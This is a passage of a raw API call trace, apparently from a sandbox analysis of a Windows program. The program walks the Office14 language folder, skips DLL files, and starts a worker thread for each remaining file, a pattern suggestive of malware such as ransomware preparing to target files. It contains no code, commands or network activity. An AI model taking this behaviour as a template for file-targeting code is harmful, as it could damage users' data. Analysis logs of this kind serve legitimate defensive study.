[0059.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x5ec68c8 [0059.845] wcscpy (in: _Dest=0x5ec68c8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.845] wcscat (in: _Dest=0x5ec68c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.845] wcscat (in: _Dest=0x5ec68c8, _Source="DRILLDWN.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" [0059.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec68c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc [0059.846] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0059.846] wcscmp (_String1="DWGCNV.VSL", _String2=".") returned 1 [0059.846] wcscmp (_String1="DWGCNV.VSL", _String2="..") returned 1 [0059.846] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e8b8 [0059.846] wcscpy (in: _Dest=0x45e8b8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.846] wcscat (in: _Dest=0x45e8b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.846] wcscat (in: _Dest=0x45e8b8, _Source="DWGCNV.VSL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" [0059.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e8b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e0 [0059.848] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0059.848] wcscmp (_String1="DWGDPRES.DLL", _String2=".") returned 1 [0059.848] wcscmp (_String1="DWGDPRES.DLL", _String2="..") returned 1 [0059.848] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="EADOCU~1.XSN")) returned 1 [0059.848] wcscmp (_String1="EADOCUMENTAPPROVAL_INIT.XSN", _String2=".") returned 1 [0059.848] wcscmp (_String1="EADOCUMENTAPPROVAL_INIT.XSN", _String2="..") returned 1 [0059.848] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4dc8 [0059.848] wcscpy (in: _Dest=0x5ec4dc8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.848] wcscat (in: _Dest=0x5ec4dc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.848] wcscat (in: _Dest=0x5ec4dc8, _Source="EADOCUMENTAPPROVAL_INIT.XSN" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" [0059.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec4dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e4 [0059.849] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="EADOCU~2.XSN")) returned 1 [0059.849] wcscmp (_String1="EADOCUMENTAPPROVAL_REVIEW.XSN", _String2=".") returned 1 [0059.849] wcscmp (_String1="EADOCUMENTAPPROVAL_REVIEW.XSN", _String2="..") returned 1 [0059.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43ece0 [0059.850] wcscpy (in: _Dest=0x43ece0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.850] wcscat (in: _Dest=0x43ece0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.850] wcscat (in: _Dest=0x43ece0, _Source="EADOCUMENTAPPROVAL_REVIEW.XSN" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" [0059.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ece0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8 [0059.851] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0059.851] wcscmp (_String1="EAWFINTL.DLL", _String2=".") returned 1 [0059.851] wcscmp (_String1="EAWFINTL.DLL", _String2="..") returned 1 [0059.851] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0059.851] wcscmp (_String1="EDITRES.DLL", _String2=".") returned 1 [0059.851] wcscmp (_String1="EDITRES.DLL", _String2="..") returned 1 [0059.851] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0059.851] wcscmp (_String1="EntityPickerIntl.dll", _String2=".") returned 1 [0059.851] wcscmp (_String1="EntityPickerIntl.dll", _String2="..") returned 1 [0059.851] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0059.851] wcscmp (_String1="ENVELOPR.DLL", _String2=".") returned 1 [0059.851] wcscmp (_String1="ENVELOPR.DLL", _String2="..") returned 1 [0059.851] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="ENVELO~1.IDX")) returned 1 [0059.851] wcscmp (_String1="ENVELOPR.DLL.IDX_DLL", _String2=".") returned 1 [0059.851] wcscmp (_String1="ENVELOPR.DLL.IDX_DLL", _String2="..") returned 1 [0059.851] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cc430 [0059.851] wcscpy (in: _Dest=0x97cc430, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.851] wcscat (in: _Dest=0x97cc430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.851] wcscat (in: _Dest=0x97cc430, _Source="ENVELOPR.DLL.IDX_DLL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" [0059.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec [0059.853] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0059.853] wcscmp (_String1="EQPLIST.VRD", _String2=".") returned 1 [0059.853] wcscmp (_String1="EQPLIST.VRD", _String2="..") returned 1 [0059.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45edb8 [0059.853] wcscpy (in: _Dest=0x45edb8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.853] wcscat (in: _Dest=0x45edb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.853] wcscat (in: _Dest=0x45edb8, _Source="EQPLIST.VRD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" [0059.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45edb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0 [0059.854] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="EXCELD~1.HXS")) returned 1 [0059.854] wcscmp (_String1="EXCEL.DEV.HXS", _String2=".") returned 1 [0059.854] wcscmp (_String1="EXCEL.DEV.HXS", _String2="..") returned 1 [0059.854] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x5ec6950 [0059.854] wcscpy (in: _Dest=0x5ec6950, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.854] wcscat (in: _Dest=0x5ec6950, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.854] wcscat (in: _Dest=0x5ec6950, _Source="EXCEL.DEV.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" [0059.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4 [0059.855] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="EXCELD~1.HXC")) returned 1 [0059.855] wcscmp (_String1="EXCEL.DEV_COL.HXC", _String2=".") returned 1 [0059.855] wcscmp (_String1="EXCEL.DEV_COL.HXC", _String2="..") returned 1 [0059.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417620 [0059.855] wcscpy (in: _Dest=0x417620, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.855] wcscat (in: _Dest=0x417620, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.855] wcscat (in: _Dest=0x417620, _Source="EXCEL.DEV_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" [0059.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8 [0059.857] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="EXCELD~1.HXT")) returned 1 [0059.857] wcscmp (_String1="EXCEL.DEV_COL.HXT", _String2=".") returned 1 [0059.857] wcscmp (_String1="EXCEL.DEV_COL.HXT", _String2="..") returned 1 [0059.857] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417d70 [0059.857] wcscpy (in: _Dest=0x417d70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.857] wcscat (in: _Dest=0x417d70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.857] wcscat (in: _Dest=0x417d70, _Source="EXCEL.DEV_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" [0059.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0059.858] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="EXCELD~1.HXK")) returned 1 [0059.858] wcscmp (_String1="EXCEL.DEV_F_COL.HXK", _String2=".") returned 1 [0059.858] wcscmp (_String1="EXCEL.DEV_F_COL.HXK", _String2="..") returned 1 [0059.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x416660 [0059.858] wcscpy (in: _Dest=0x416660, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.858] wcscat (in: _Dest=0x416660, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.858] wcscat (in: _Dest=0x416660, _Source="EXCEL.DEV_F_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" [0059.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1200 [0059.859] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="EXCELD~2.HXK")) returned 1 [0059.859] wcscmp (_String1="EXCEL.DEV_K_COL.HXK", _String2=".") returned 1 [0059.859] wcscmp (_String1="EXCEL.DEV_K_COL.HXK", _String2="..") returned 1 [0059.859] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4172c0 [0059.860] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.860] wcscat (in: _Dest=0x4172c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.860] wcscat (in: _Dest=0x4172c0, _Source="EXCEL.DEV_K_COL.HXK" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" [0059.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4172c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1204 [0059.861] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0059.861] wcscmp (_String1="EXCEL.HXS", _String2=".") returned 1 [0059.861] wcscmp (_String1="EXCEL.HXS", _String2="..") returned 1 [0059.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45ee38 [0059.861] wcscpy (in: _Dest=0x45ee38, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.861] wcscat (in: _Dest=0x45ee38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.861] wcscat (in: _Dest=0x45ee38, _Source="EXCEL.HXS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" [0059.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45ee38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1208 [0059.862] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="EXCEL_~1.HXC")) returned 1 [0059.862] wcscmp (_String1="EXCEL_COL.HXC", _String2=".") returned 1 [0059.863] wcscmp (_String1="EXCEL_COL.HXC", _String2="..") returned 1 [0059.863] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x5ec69d8 [0059.863] wcscpy (in: _Dest=0x5ec69d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.863] wcscat (in: _Dest=0x5ec69d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.863] wcscat (in: _Dest=0x5ec69d8, _Source="EXCEL_COL.HXC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" [0059.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec69d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120c [0059.864] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="EXCEL_~1.HXT")) returned 1 [0059.864] wcscmp (_String1="EXCEL_COL.HXT", _String2=".") returned 1 [0059.864] wcscmp (_String1="EXCEL_COL.HXT", _String2="..") returned 1 [0059.864] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x5ec6a60 [0059.864] wcscpy (in: _Dest=0x5ec6a60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0059.864] wcscat (in: _Dest=0x5ec6a60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0059.864] wcscat (in: _Dest=0x5ec6a60, _Source="EXCEL_COL.HXT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" [0059.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1210 [0059.865] FindNextFileW (in: hFindFile=0x440aa0, lpFindFileData=0x425df0 | out: lpFindFileData=0x425df0*(dwFileAttributes=0x20, 